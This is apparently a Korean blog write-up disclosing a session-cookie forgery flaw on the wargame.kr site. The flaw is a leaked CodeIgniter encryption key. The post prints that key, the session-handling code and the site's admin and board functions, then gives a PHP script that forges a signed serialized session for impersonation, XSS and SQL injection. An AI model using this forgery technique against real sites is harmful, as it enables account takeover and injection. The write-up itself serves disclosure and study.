wargame.kr에는 세션인증을 위한 쿠키값 저장에 대한 문제가 있다.
예를 들면 세션을 통해서 게시글을 쓴다던가, name 값을 통해서 어드민의 권한을 검사한다는 점인데,
이건 xss는 물론이고 sql injection까지 가능한 취약점이다.
왜 발생했다면, encryption_key가 노출돼서 자체적으로 인코딩해서 쿠키에 넣어줄 수 있다. (Object injection)
먼저 codeigniter의 session.php를 보자. 경로는 /system/libraries/Session.php 다.
아래의 함수들은 쿠키와 세션을 위한 함수의 코드다.
function set_userdata($newdata = array(), $newval = '') { if (is_string($newdata)) { $newdata = array($newdata => $newval); } if (count($newdata) > 0) { foreach ($newdata as $key => $val) { $this->userdata[$key] = $val; } } $this->sess_write(); } function set_userdata($newdata = array(), $newval = '') { if (is_string($newdata)) { $newdata = array($newdata => $newval); } if (count($newdata) > 0) { foreach ($newdata as $key => $val) { $this->userdata[$key] = $val; } } $this->sess_write(); } function sess_write() { // Are we saving custom data to the DB? If not, all we do is update the cookie if ($this->sess_use_database === FALSE) { $this->_set_cookie(); return; } // set the custom userdata, the session data we will set in a second $custom_userdata = $this->userdata; $cookie_userdata = array(); // Before continuing, we need to determine if there is any custom data to deal with. // Let's determine this by removing the default indexes to see if there's anything left in the array // and set the session data while we're at it foreach (array('session_id','ip_address','user_agent','last_activity') as $val) { unset($custom_userdata[$val]); $cookie_userdata[$val] = $this->userdata[$val]; } // Did we find any custom data? If not, we turn the empty array into a string // since there's no reason to serialize and store an empty array in the DB if (count($custom_userdata) === 0) { $custom_userdata = ''; } else { // Serialize the custom data array so we can store it $custom_userdata = $this->_serialize($custom_userdata); } // Run the update query $this->CI->db->where('session_id', $this->userdata['session_id']); $this->CI->db->update($this->sess_table_name, array('last_activity' => $this->userdata['last_activity'], 'user_data' => $custom_userdata)); // Write the cookie. Notice that we manually pass the cookie data array to the // _set_cookie() function. Normally that function will store $this->userdata, but // in this case that array contains custom data, which we do not want in the cookie. $this->_set_cookie($cookie_userdata); } function _set_cookie($cookie_data = NULL) { if (is_null($cookie_data)) { $cookie_data = $this->userdata; } // Serialize the userdata for the cookie $cookie_data = $this->_serialize($cookie_data); if ($this->sess_encrypt_cookie == TRUE) { $cookie_data = $this->CI->encrypt->encode($cookie_data); } // $this->encryption_key = Th1s1sEncrypt10nkey $cookie_data .= hash_hmac('sha1', $cookie_data, $this->encryption_key); $expire = ($this->sess_expire_on_close === TRUE) ? 0 : $this->sess_expiration + time(); // Set the cookie setcookie( $this->sess_cookie_name, $cookie_data, $expire, $this->cookie_path, $this->cookie_domain, $this->cookie_secure ); }
호출 순서는
set_userdata -> sess_write -> _set_cookie 순서고 설명이 필요할 듯하다.
먼저 set_userdata로 쿠키가 생성될 때 set_userdata함수에서 private영역의 userdata 변수에 데이터를 저장하고
sess_write함수를 호출해준다.
sess_write에서는 세션ID를 DB에 저장할 때와 아닐때로 나뉘는데 wargame.kr은 db에 따로 저장하지 않기때문에 바로 _set_cookie함수를
호출해준다.
마지막의 _set_cookie함수는 $cookie_data에 데이터를 userdata를 넣어주고 serialize해준다.
sess_encrypt_cookie일 때 encode해주긴 하는데 false였기에 바로 넘어간다.
보다시피 쿠키값에다 sha1에 salt를 지정해줘서 해시화를 시키고 있으니 encryption_key의 값을 알 필요가 있는데,
config.php에 있으니까 참조하길 바란다.
그 다음에 쿠키 expire를 지정해주고 setcookie를 해준다.
여기까지는 아무 문제 없다고 생각은 하지만
정작 wargame.kr소스코드를 보게 되면
[ wargamekr_helper.php ] function is_admin(){ $admin_list = ['bughela']; $CI = &get_instance(); if (!is_logged_in()) return false; if (!in_array($CI->session->userdata('name'), $admin_list)) return false; return true; } [ main_model.php ] function chat($chat = ''){ $chat = trim($chat); if ($chat == '') return false; if (!is_logged_in()) return false; $name = $this->session->userdata('name'); $chat = [ 'name' => $name, 'chat' => $chat, 'reg_date' => date('Y-m-d H:i:s', time()), 'reg_ip' => $this->input->ip_address() ]; $this->db->insert('chat_log', $chat); $result = $this->db ->where('name', $name) ->from('chat_log') ->count_all_results(); if ($result > 100){ $this->load->model("achievement_model", "achievement"); $this->achievement->take("chatterbox"); } } [ board_model.php ] function write($input){ if (!is_logged_in()) return false; $data = [ 'title' => htmlspecialchars($input['title']), 'secret' => $input['secret'], 'contents' => htmlspecialchars($input['contents']), 'writer' => $this->session->userdata('name'), 'reg_date' => date('Y-m-d H:i:s', time()), 'reg_ip' => $this->input->ip_address() ]; $result = $this->db->insert('board', $data); $name = $this->session->userdata('name'); $result = $this->db ->where('writer', $name) ->from('board') ->count_all_results(); if ($result == 10) { $this->achievement->take("BBS mania"); } } [ board_model.php ] function write_reply($contents, $idx = 0){ if (!is_logged_in()) return false; $contents = trim($contents); if ($contents == "") return false; $idx = intval($idx); $result = $this->db ->select('idx') ->where('secret', 0) ->or_where('writer', $this->session->userdata('name')) ->where('idx', $idx) ->get('board'); if ($result->row()->idx != 1) return false; $data = [ 'contents' => htmlspecialchars($contents), 'pidx' => $idx, 'writer' => $this->session->userdata('name'), 'reg_date' => date("Y-m-d H:i:s"), 'reg_ip' => $this->input->ip_address() ]; $this->db->insert('board_reply', $data); $name = $this->session->userdata('name'); $result = $this->db ->where('writer', $name) ->from('board_reply') ->count_all_results(); if ($result == 50) { //$this->achievement->take($name, ""); } }
등등의 함수들에서 xss 및 sql injection이 성공한다.
아래는 쿠키값의 조작을 위해 직접 만든 소스코드다.
$arr = array( "session_id" => md5("hoho"), "ip_address" => "127.0.0.1", "user_agent" => "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36", "last_activity" => time(), "user_data" => null, "name" => "KuroNeko", "email" => "nyanpasu@naver.com", "lang" => "kor", "achievement" => "sewer brew", "point" => 99999 ); $ser_arr = serialize($arr); $encryption_key = "Th1s1sEncrypt10nkey"; $ser_arr .= hash_hmac('sha1', $ser_arr, $encryption_key); echo urlencode($ser_arr);
아 물론 지금은 키값이 패치된 상태라 이 소스를 써도 안된다.
'Write up > Wargame' 카테고리의 다른 글
[PlayTheWeb] writeup (0) | 2019.09.16 |
---|---|
LFH 문제 분석한 거 (0) | 2016.12.13 |
[Wargame.kr] Admin 계정 탈취 인증샷 (0) | 2016.10.02 |
[Wargame.kr] All Clear (0) | 2016.09.13 |
[Wargame.kr] zairo (0) | 2016.09.08 |